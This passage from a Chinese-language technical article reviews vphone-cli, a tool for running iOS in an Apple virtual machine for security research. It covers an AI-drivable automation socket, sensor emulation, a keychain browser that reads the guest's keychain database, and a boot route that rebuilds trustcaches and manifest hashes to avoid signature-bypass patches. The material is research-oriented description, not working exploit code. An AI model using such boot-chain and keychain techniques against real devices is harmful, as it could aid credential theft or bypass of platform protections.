leaf="">,</span></span><span style="color: rgb(255, 0, 0);"><span leaf="">&#34;x2&#34;</span></span><span><span leaf="">:</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">645</span></span><span><span leaf="">,</span></span><span style="color: rgb(255, 0, 0);"><span leaf="">&#34;y2&#34;</span></span><span><span leaf="">:</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">1400</span></span><span><span leaf="">,</span></span><span style="color: rgb(255, 0, 0);"><span leaf="">&#34;ms&#34;</span></span><span><span leaf="">:</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">300</span></span><span><span leaf="">}</span></span><br/><span><span leaf="">{</span></span><span style="color: rgb(255, 0, 0);"><span leaf="">&#34;t&#34;</span></span><span><span leaf="">:</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;key&#34;</span></span><span><span leaf="">,</span></span><span style="color: rgb(255, 0, 0);"><span leaf="">&#34;name&#34;</span></span><span><span leaf="">:</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;home&#34;</span></span><span><span leaf="">}</span></span><br/><span><span leaf="">{</span></span><span style="color: rgb(255, 0, 0);"><span leaf="">&#34;t&#34;</span></span><span><span leaf="">:</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;type&#34;</span></span><span><span leaf="">,</span></span><span style="color: rgb(255, 0, 0);"><span leaf="">&#34;text&#34;</span></span><span><span leaf="">:</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;Hello&#34;</span></span><span><span leaf="">}</span></span></code></pre><p data-line="293" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">除截图外，每个动作默认会等待短暂时间，然后返回一张压缩灰度JPEG截图的Base64字段。这个设计非常适合AI自动化和端到端测试：控制器每执行一次点击、滑动、按键或输入，都能立即拿到视觉反馈，用下一步决策闭环。</span></p><p data-line="295" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">README中也明确提到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphone-mcp</span></code><span leaf="">可以包装这个Socket，向Claude Code或Claude Desktop提供打开应用、返回、滚动、输入文本等高层工具。换句话说，当前</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphone-cli</span></code><span leaf="">已经具备面向AI测试代理的最小控制平面。</span></p><h2 data-line="297" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">12 图形输入和传感器模拟</span></h2><p data-line="299" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">运行时体验也比早期版本完整很多。</span></p><p data-line="301" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">触控方面，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">VPhoneVirtualMachineView</span></code><span leaf="">负责把Host侧鼠标事件映射为虚拟触点，并通过私有</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">_VZUSBTouchScreenConfiguration</span></code><span leaf="">注入到Guest。主机侧自动化Socket的tap和swipe命令复用同一套像素坐标映射。</span></p><p data-line="303" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">键盘和硬件键方面，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">VPhoneKeyHelper</span></code><span leaf="">和菜单项支持Home、Power、Volume、Spotlight等操作，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphoned</span></code><span leaf="">侧也可以接收HID按键事件。</span></p><p data-line="305" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">显示和录屏方面，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">VPhoneScreenRecorder</span></code><span leaf="">使用私有</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">VZGraphicsDisplay</span></code><span leaf="">截图能力，可以保存截图、复制截图到剪贴板，并用AVFoundation录制30FPS视频。后续提交修复了ImageIO SIGBUS问题，确保录屏总是捕获VM窗口。</span></p><p data-line="307" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">位置方面，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">VPhoneLocationProvider</span></code><span leaf="">可以同步Host位置，也可以发送预设位置和路线回放。菜单中内置了Apple Park、San Francisco Ferry Building、Times Square和Shibuya Crossing等预设点，还支持Apple Park Loop路线回放。</span></p><p data-line="309" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">电池方面，VM内部配置了私有</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">_VZMacSyntheticBatterySource</span></code><span leaf="">，默认100%充电。菜单侧可以手动设置电量和连接状态，也可以通过IOKit同步Host电池状态，并把Host低电量模式同步到Guest。</span></p><p data-line="311" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Touch ID方面，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">VPhoneTouchIDMonitor</span></code><span leaf="">通过macOS私有BiometricKit监听物理Touch ID传感器触摸事件，再把手指按下、抬起和双击等状态转发给Guest。这个能力需要</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">com.apple.private.bmk.allow</span></code><span leaf="">相关权限，体现了仓库对Host私有框架的进一步利用。</span></p><p data-line="313" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">加速设备方面，2026-04-17的提交加入Entropy和Accelerator设备。当前VM配置中包含</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">VZVirtioEntropyDeviceConfiguration</span></code><span leaf="">，并尝试配置私有</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">_VZMacVideoToolboxDeviceConfiguration</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">_VZMacNeuralEngineDeviceConfiguration</span></code><span leaf="">。</span></p><p data-line="315" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这些改动说明项目已经开始模拟“手机运行环境”的外设和传感器，而不仅是让iOS内核启动。</span></p><h2 data-line="317" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">13 文件应用和钥匙串</span></h2><p data-line="319" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">当前Host侧GUI也从早期单窗口启动器扩展为研究工具界面。</span></p><p data-line="321" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">文件浏览器由SwiftUI实现，Host侧通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">VPhoneFileBrowserModel</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">VPhoneFileBrowserView</span></code><span leaf="">调用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphoned</span></code><span leaf="">的文件接口。它支持目录浏览、搜索、排序、上传、下载、拖拽、删除、重命名和新建目录。2026-03-09以后还修复了指向文件夹的符号链接打开问题。</span></p><p data-line="323" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">应用浏览器通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">LSApplicationWorkspace</span></code><span leaf="">和FrontBoardServices等Guest侧私有API列出应用，区分系统应用、用户应用和运行中应用，支持启动、终止和前台应用刷新。Host菜单会根据Guest能力动态启用或禁用Open URL和Install等动作，避免未连接时误操作。</span></p><p data-line="325" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">钥匙串浏览器通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphoned_keychain</span></code><span leaf="">提供数据。它既尝试使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SecItemCopyMatching</span></code><span leaf="">读取可访问项，也直接打开</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/var/Keychains/keychain-2.db</span></code><span leaf="">读取</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">genp</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">inet</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cert</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">keys</span></code><span leaf="">表。对于安全研究，这比普通iOS模拟器更接近真实设备取证和应用数据分析场景。</span></p><p data-line="327" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">安装包支持也更完整。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">--install-ipa</span></code><span leaf="">可以在VM启动后自动安装指定IPA或TIPA，菜单安装流程同样支持这两类包。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphoned_install.m</span></code><span leaf="">会处理包解压、权限修复、Mach-O识别、签名证书、应用注册和清理流程。相比早期单纯依赖外部命令，这已经是Guest内建安装器。</span></p><h2 data-line="329" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">14 Patchless路线</span></h2><p data-line="331" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Patchless是近期提交中最值得单独关注的路线。它不是“完全没有补丁”，而是“尽量不走传统安全绕过补丁”。</span></p><p data-line="333" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">早期Regular路线的核心思路是修改AVPBooter、iBoot、TXM和Kernel，让它们接受未签名或被修改的系统组件。Patchless路线则尝试从文件系统一致性出发解决问题：把Cryptex并入OS文件系统，修补必要用户态组件，重新生成trustcache、mtree、digest.db和root_hash，再更新BuildManifest中的组件哈希，使启动链尽可能看到一个一致的固件状态。</span></p><p data-line="335" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">CryptexFilesystemPatcher</span></code><span leaf="">中的注释概括了这条路线：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="337" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">1. Collect the AppOS and SystemOS Cryptex from the iPhone BuildManifest</span><br/><span leaf="">2. With the OS, AppOS, and SystemOS images, attach them and copy them to a target image</span><br/><span leaf="">3. Create trustcache for resulting image</span><br/><span leaf="">4. Create mtree for resulting image</span><br/><span leaf="">5. Generate digest.db and SystemVolume root_hash</span><br/><span leaf="">6. Join mtree and digest.db to Ap,SystemVolumeCanonicalMetadata</span></code></pre><p data-line="346" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这条路线对安全研究有两个价值。</span></p><p data-line="348" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">一方面，它让研究者可以观察更少安全绕过条件下的系统行为，避免</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Regular</span></code><span leaf="">/</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span 